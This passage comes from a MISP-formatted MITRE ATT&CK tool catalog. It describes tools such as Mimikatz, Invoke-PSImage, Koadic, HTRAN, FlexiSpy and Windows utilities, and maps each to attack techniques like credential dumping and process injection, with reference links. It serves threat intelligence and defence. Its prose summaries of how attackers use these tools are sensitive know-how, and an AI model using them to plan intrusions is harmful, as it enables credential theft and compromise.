uses: misp-galaxy:mitre-attack-pattern="Windows Remote Management - T1028" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote Services - T1021" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Man in the Browser - T1185" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1093" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Component Object Model and Distributed COM - T1175" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Parent PID Spoofing - T1502" with estimative-language:likelihood-probability="almost-certain"

Table 3416. Table References
Links
https://attack.mitre.org/software/S0154
https://cobaltstrike.com/downloads/csmanual38.pdf

Invoke-PSImage - S0231

[Invoke-PSImage](https://attack.mitre.org/software/S0231) takes a PowerShell script and embeds the bytes of the script into the pixels of a PNG image. It generates a one liner for executing either from a file of from the web. Example of usage is embedding the PowerShell code from the Invoke-Mimikatz module and embed it into an image file. By calling the image file from a macro for example, the macro will download the picture and execute the PowerShell code, which in this case will dump the passwords. (Citation: GitHub Invoke-PSImage)

The tag is: misp-galaxy:mitre-tool="Invoke-PSImage - S0231"

Invoke-PSImage - S0231 is also known as:

Invoke-PSImage

Invoke-PSImage - S0231 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 3417. Table References
Links
https://attack.mitre.org/software/S0231
https://github.com/peewpw/Invoke-PSImage

ipconfig - S0100

[ipconfig](https://attack.mitre.org/software/S0100) is a Windows utility that can be used to find information about a system’s TCP/IP, DNS, DHCP, and adapter configuration. (Citation: TechNet Ipconfig)

The tag is: misp-galaxy:mitre-tool="ipconfig - S0100"

ipconfig - S0100 is also known as:

ipconfig
ipconfig.exe

ipconfig - S0100 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

Table 3418. Table References
Links
https://attack.mitre.org/software/S0100
https://technet.microsoft.com/en-us/library/bb490921.aspx

Mimikatz - S0002

[Mimikatz](https://attack.mitre.org/software/S0002) is a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many other features that make it useful for testing the security of networks. (Citation: Deply Mimikatz) (Citation: Adsecurity Mimikatz Guide)

The tag is: misp-galaxy:mitre-tool="Mimikatz - S0002"

Mimikatz - S0002 is also known as:

Mimikatz

Mimikatz - S0002 has relationships with:

similar: misp-galaxy:tool="Mimikatz" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Security Support Provider - T1101" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="SID-History Injection - T1178" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1075" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="DCShadow - T1207" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Private Keys - T1145" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1097" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

Table 3419. Table References
Links
https://attack.mitre.org/software/S0002
https://github.com/gentilkiwi/mimikatz
https://adsecurity.org/?page_id=1821

HTRAN - S0040

[HTRAN](https://attack.mitre.org/software/S0040) is a tool that proxies connections through intermediate hops and aids users in disguising their true geographical location. It can be used by adversaries to hide their location when interacting with the victim networks. (Citation: Operation Quantum Entanglement)(Citation: NCSC Joint Report Public Tools)

The tag is: misp-galaxy:mitre-tool="HTRAN - S0040"

HTRAN - S0040 is also known as:

HTRAN
HUC Packet Transmit Tool

HTRAN - S0040 has relationships with:

similar: misp-galaxy:malpedia="HTran" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"

Table 3420. Table References
Links
https://attack.mitre.org/software/S0040
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf
https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf

pwdump - S0006

[pwdump](https://attack.mitre.org/software/S0006) is a credential dumper. (Citation: Wikipedia pwdump)

The tag is: misp-galaxy:mitre-tool="pwdump - S0006"

pwdump - S0006 is also known as:

pwdump

pwdump - S0006 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

Table 3421. Table References
Links
https://attack.mitre.org/software/S0006
https://en.wikipedia.org/wiki/Pwdump

gsecdump - S0008

[gsecdump](https://attack.mitre.org/software/S0008) is a publicly-available credential dumper used to obtain password hashes and LSA secrets from Windows operating systems. (Citation: TrueSec Gsecdump)

The tag is: misp-galaxy:mitre-tool="gsecdump - S0008"

gsecdump - S0008 is also known as:

gsecdump

gsecdump - S0008 has relationships with:

similar: misp-galaxy:malpedia="gsecdump" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

Table 3422. Table References
Links
https://attack.mitre.org/software/S0008
https://www.truesec.se/sakerhet/verktyg/saakerhet/gsecdump_v2.0b5

at - S0110

[at](https://attack.mitre.org/software/S0110) is used to schedule tasks on a system to run at a specified date or time. (Citation: TechNet At)

The tag is: misp-galaxy:mitre-tool="at - S0110"

at - S0110 is also known as:

at
at.exe

at - S0110 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"

Table 3423. Table References
Links
https://attack.mitre.org/software/S0110
https://technet.microsoft.com/en-us/library/bb490866.aspx

ifconfig - S0101

[ifconfig](https://attack.mitre.org/software/S0101) is a Unix-based utility used to gather information about and interact with the TCP/IP settings on a system. (Citation: Wikipedia Ifconfig)

The tag is: misp-galaxy:mitre-tool="ifconfig - S0101"

ifconfig - S0101 is also known as:

ifconfig

ifconfig - S0101 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

Table 3424. Table References
Links
https://attack.mitre.org/software/S0101
https://en.wikipedia.org/wiki/Ifconfig

Fgdump - S0120

[Fgdump](https://attack.mitre.org/software/S0120) is a Windows password hash dumper. (Citation: Mandiant APT1)

The tag is: misp-galaxy:mitre-tool="Fgdump - S0120"

Fgdump - S0120 is also known as:

Fgdump

Fgdump - S0120 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

Table 3425. Table References
Links
https://attack.mitre.org/software/S0120
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf

nbtstat - S0102

[nbtstat](https://attack.mitre.org/software/S0102) is a utility used to troubleshoot NetBIOS name resolution. (Citation: TechNet Nbtstat)

The tag is: misp-galaxy:mitre-tool="nbtstat - S0102"

nbtstat - S0102 is also known as:

nbtstat
nbtstat.exe

nbtstat - S0102 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

Table 3426. Table References
Links
https://attack.mitre.org/software/S0102
https://technet.microsoft.com/en-us/library/cc940106.aspx

route - S0103

[route](https://attack.mitre.org/software/S0103) can be used to find or change information within the local system IP routing table. (Citation: TechNet Route)

The tag is: misp-galaxy:mitre-tool="route - S0103"

route - S0103 is also known as:

route
route.exe

route - S0103 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

Table 3427. Table References
Links
https://attack.mitre.org/software/S0103
https://technet.microsoft.com/en-us/library/bb490991.aspx

netstat - S0104

[netstat](https://attack.mitre.org/software/S0104) is an operating system utility that displays active TCP connections, listening ports, and network statistics. (Citation: TechNet Netstat)

The tag is: misp-galaxy:mitre-tool="netstat - S0104"

netstat - S0104 is also known as:

netstat
netstat.exe

netstat - S0104 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"

Table 3428. Table References
Links
https://attack.mitre.org/software/S0104
https://technet.microsoft.com/en-us/library/bb490947.aspx

dsquery - S0105

[dsquery](https://attack.mitre.org/software/S0105) is a command-line utility that can be used to query Active Directory for information from a system within a domain. (Citation: TechNet Dsquery) It is typically installed only on Windows Server versions but can be installed on non-server variants through the Microsoft-provided Remote Server Administration Tools bundle.

The tag is: misp-galaxy:mitre-tool="dsquery - S0105"

dsquery - S0105 is also known as:

dsquery
dsquery.exe

dsquery - S0105 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"

Table 3429. Table References
Links
https://attack.mitre.org/software/S0105
https://technet.microsoft.com/en-us/library/cc732952.aspx

cmd - S0106

[cmd](https://attack.mitre.org/software/S0106) is the Windows command-line interpreter that can be used to interact with systems and execute other processes and utilities. (Citation: TechNet Cmd)

Cmd.exe contains native functionality to perform many operations to interact with the system, including listing files in a directory (e.g., <code>dir</code> (Citation: TechNet Dir)), deleting files (e.g., <code>del</code> (Citation: TechNet Del)), and copying files (e.g., <code>copy</code> (Citation: TechNet Copy)).

The tag is: misp-galaxy:mitre-tool="cmd - S0106"

cmd - S0106 is also known as:

cmd
cmd.exe

cmd - S0106 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

Table 3430. Table References
Links
https://attack.mitre.org/software/S0106
https://technet.microsoft.com/en-us/library/bb490880.aspx
https://technet.microsoft.com/en-us/library/cc755121.aspx
https://technet.microsoft.com/en-us/library/cc771049.aspx
https://technet.microsoft.com/en-us/library/bb490886.aspx

certutil - S0160

[certutil](https://attack.mitre.org/software/S0160) is a command-line utility that can be used to obtain certificate authority information and configure Certificate Services. (Citation: TechNet Certutil)

The tag is: misp-galaxy:mitre-tool="certutil - S0160"

certutil - S0160 is also known as:

certutil
certutil.exe

certutil - S0160 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Install Root Certificate - T1130" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 3431. Table References
Links
https://attack.mitre.org/software/S0160
https://technet.microsoft.com/library/cc732443.aspx

netsh - S0108

[netsh](https://attack.mitre.org/software/S0108) is a scripting utility used to interact with networking components on local or remote systems. (Citation: TechNet Netsh)

The tag is: misp-galaxy:mitre-tool="netsh - S0108"

netsh - S0108 is also known as:

netsh
netsh.exe

netsh - S0108 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Netsh Helper DLL - T1128" with estimative-language:likelihood-probability="almost-certain"

Table 3432. Table References
Links
https://attack.mitre.org/software/S0108
https://technet.microsoft.com/library/bb490939.aspx

BITSAdmin - S0190

[BITSAdmin](https://attack.mitre.org/software/S0190) is a command line tool used to create and manage [BITS Jobs](https://attack.mitre.org/techniques/T1197). (Citation: Microsoft BITSAdmin)

The tag is: misp-galaxy:mitre-tool="BITSAdmin - S0190"

BITSAdmin - S0190 is also known as:

BITSAdmin

BITSAdmin - S0190 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"

Table 3433. Table References
Links
https://attack.mitre.org/software/S0190
https://msdn.microsoft.com/library/aa362813.aspx

Koadic - S0250

[Koadic](https://attack.mitre.org/software/S0250) is a Windows post-exploitation framework and penetration testing tool. [Koadic](https://attack.mitre.org/software/S0250) is publicly available on GitHub and the tool is executed via the command-line. [Koadic](https://attack.mitre.org/software/S0250) has several options for staging payloads and creating implants. [Koadic](https://attack.mitre.org/software/S0250) performs most of its operations using Windows Script Host. (Citation: Github Koadic) (Citation: Palo Alto Sofacy 06-2018)

The tag is: misp-galaxy:mitre-tool="Koadic - S0250"

Koadic - S0250 is also known as:

Koadic

Koadic - S0250 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Mshta - T1170" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1117" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 3434. Table References
Links
https://attack.mitre.org/software/S0250
https://github.com/zerosum0x0/koadic
https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/

PsExec - S0029

[PsExec](https://attack.mitre.org/software/S0029) is a free Microsoft tool that can be used to execute a program on another computer. It is used by IT administrators and attackers. (Citation: Russinovich Sysinternals) (Citation: SANS PsExec)

The tag is: misp-galaxy:mitre-tool="PsExec - S0029"

PsExec - S0029 is also known as:

PsExec

PsExec - S0029 has relationships with:

similar: misp-galaxy:tool="PsExec" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"

Table 3435. Table References
Links
https://attack.mitre.org/software/S0029
https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx
https://digital-forensics.sans.org/blog/2012/12/17/protecting-privileged-domain-accounts-psexec-deep-dive

Net - S0039

The [Net](https://attack.mitre.org/software/S0039) utility is a component of the Windows operating system. It is used in command-line operations for control of users, groups, services, and network connections. (Citation: Microsoft Net Utility)

[Net](https://attack.mitre.org/software/S0039) has a great deal of functionality, (Citation: Savill 1999) much of which is useful for an adversary, such as gathering system and network information for Discovery, moving laterally through [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) using <code>net use</code> commands, and interacting with services. The net1.exe utility is executed for certain functionality when net.exe is run and can be used directly in commands such as <code>net1 user</code>.

The tag is: misp-galaxy:mitre-tool="Net - S0039"

Net - S0039 is also known as:

Net
net.exe

Net - S0039 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Password Policy Discovery - T1201" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Network Share Connection Removal - T1126" with estimative-language:likelihood-probability="almost-certain"

Table 3436. Table References
Links
https://attack.mitre.org/software/S0039
https://msdn.microsoft.com/en-us/library/aa939914
http://windowsitpro.com/windows/netexe-reference

esentutl - S0404

[esentutl](https://attack.mitre.org/software/S0404) is a command-line tool that provides database utilities for the Windows Extensible Storage Engine.(Citation: Microsoft Esentutl)

The tag is: misp-galaxy:mitre-tool="esentutl - S0404"

esentutl - S0404 is also known as:

esentutl
esentutl.exe

esentutl - S0404 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1096" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

Table 3437. Table References
Links
https://attack.mitre.org/software/S0404
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/hh875546(v=ws.11)

FlexiSpy - S0408

[FlexiSpy](https://attack.mitre.org/software/S0408) is sophisticated surveillanceware for iOS and Android. Publicly-available, comprehensive analysis has only been found for the Android version.(Citation: FortiGuard-FlexiSpy)(Citation: CyberMerchants-FlexiSpy)

[FlexiSpy](https://attack.mitre.org/software/S0408) markets itself as a parental control and employee monitoring application.(Citation: FlexiSpy-Website)

The tag is: misp-galaxy:mitre-tool="FlexiSpy - S0408"

FlexiSpy - S0408 is also known as:

FlexiSpy

FlexiSpy - S0408 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1509" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Suppress Application Icon - T1508" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify System Partition - T1400" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="App Auto-Start at Device Boot - T1402" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Access Stored Application Data - T1409" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Delete Device Data - T1447" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Access Calendar Entries - T1435" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Network Information Discovery - T1507" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1417" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"

Table 3438. Table References
Links
https://attack.mitre.org/software/S0408
https://d3gpjj9d20n0p3.cloudfront.net/fortiguard/research/Dig%20Deep%20into%20FlexiSpy%20for%20Android%28white%20paper%29_KaiLu.pdf
http://www.cybermerchantsofdeath.com/blog/2017/04/22/FlexiSpy.html
https://www.flexispy.com/

Reg - S0075

[Reg](https://attack.mitre.org/software/S0075) is a Windows utility used to interact with the Windows Registry. It can be used at the command-line interface to query, add, modify, and remove information. (Citation: Microsoft Reg)

Utilities such as [Reg](https://attack.mitre.org/software/S0075) are known to be used by persistent threats. (Citation: Windows Commands JPCERT)

The tag is: misp-galaxy:mitre-tool="Reg - S0075"

Reg - S0075 is also known as:

Reg
reg.exe

Reg - S0075 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1214" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 3439. Table References
Links
https://attack.mitre.org/software/S0075
https://technet.microsoft.com/en-us/library/cc732643.aspx
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html

Tasklist - S0057

The [Tasklist](https://attack.mitre.org/software/S0057) utility displays a list of applications and services with their Process IDs (PID) for all tasks running on either a local or a remote computer. It is packaged with Windows operating systems and can be executed from the command-line interface. (Citation: Microsoft Tasklist)

The tag is: misp-galaxy:mitre-tool="Tasklist - S0057"

Tasklist - S0057 is also known as:

Tasklist

Tasklist - S0057 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

Table 3440. Table References
Links
https://attack.mitre.org/software/S0057
https://technet.microsoft.com/en-us/library/bb491010.aspx

FTP - S0095

[FTP](https://attack.mitre.org/software/S0095) is a utility commonly available with operating systems to transfer information over the File Transfer Protocol (FTP). Adversaries can use it to transfer other tools onto a system or to exfiltrate data. (Citation: Wikipedia FTP)

The tag is: misp-galaxy:mitre-tool="FTP - S0095"

FTP - S0095 is also known as:

FTP
ftp.exe

FTP - S0095 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"

Table 3441. Table References
Links
https://attack.mitre.org/software/S0095
https://en.wikipedia.org/wiki/File_Transfer_Protocol

Systeminfo - S0096

[Systeminfo](https://attack.mitre.org/software/S0096) is a Windows utility that can be used to gather detailed information about a computer. (Citation: TechNet Systeminfo)

The tag is: misp-galaxy:mitre-tool="Systeminfo - S0096"

Systeminfo - S0096 is also known as:

systeminfo.exe
Systeminfo

Systeminfo - S0096 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

Table 3442. Table References
Links
https://attack.mitre.org/software/S0096
https://technet.microsoft.com/en-us/library/bb491007.aspx

Ping - S0097

[Ping](https://attack.mitre.org/software/S0097) is an operating system utility commonly used to troubleshoot and verify network connections. (Citation: TechNet Ping)

The tag is: misp-galaxy:mitre-tool="Ping - S0097"

Ping - S0097 is also known as:

ping.exe
Ping

Ping - S0097 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"

Table 3443. Table References
Links
https://attack.mitre.org/software/S0097
https://technet.microsoft.com/en-us/library/bb490968.aspx

Arp - S0099

[Arp](https://attack.mitre.org/software/S0099) displays information about a system’s Address Resolution Protocol (ARP) cache. (Citation: TechNet Arp)

The tag is: misp-galaxy:mitre-tool="Arp - S0099"

Arp - S0099 is also known as:

Arp
arp.exe

Arp - S0099 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

Table 3444. Table References
Links
https://attack.mitre.org/software/S0099
https://technet.microsoft.com/en-us/library/bb490864.aspx

schtasks - S0111

[schtasks](https://attack.mitre.org/software/S0111) is used to schedule execution of programs or scripts on a Windows system to run at a specific date and time. (Citation: TechNet Schtasks)

The tag is: misp-galaxy:mitre-tool="schtasks - S0111"

schtasks - S0111 is also known as:

schtasks
schtasks.exe

schtasks - S0111 has relationships with:

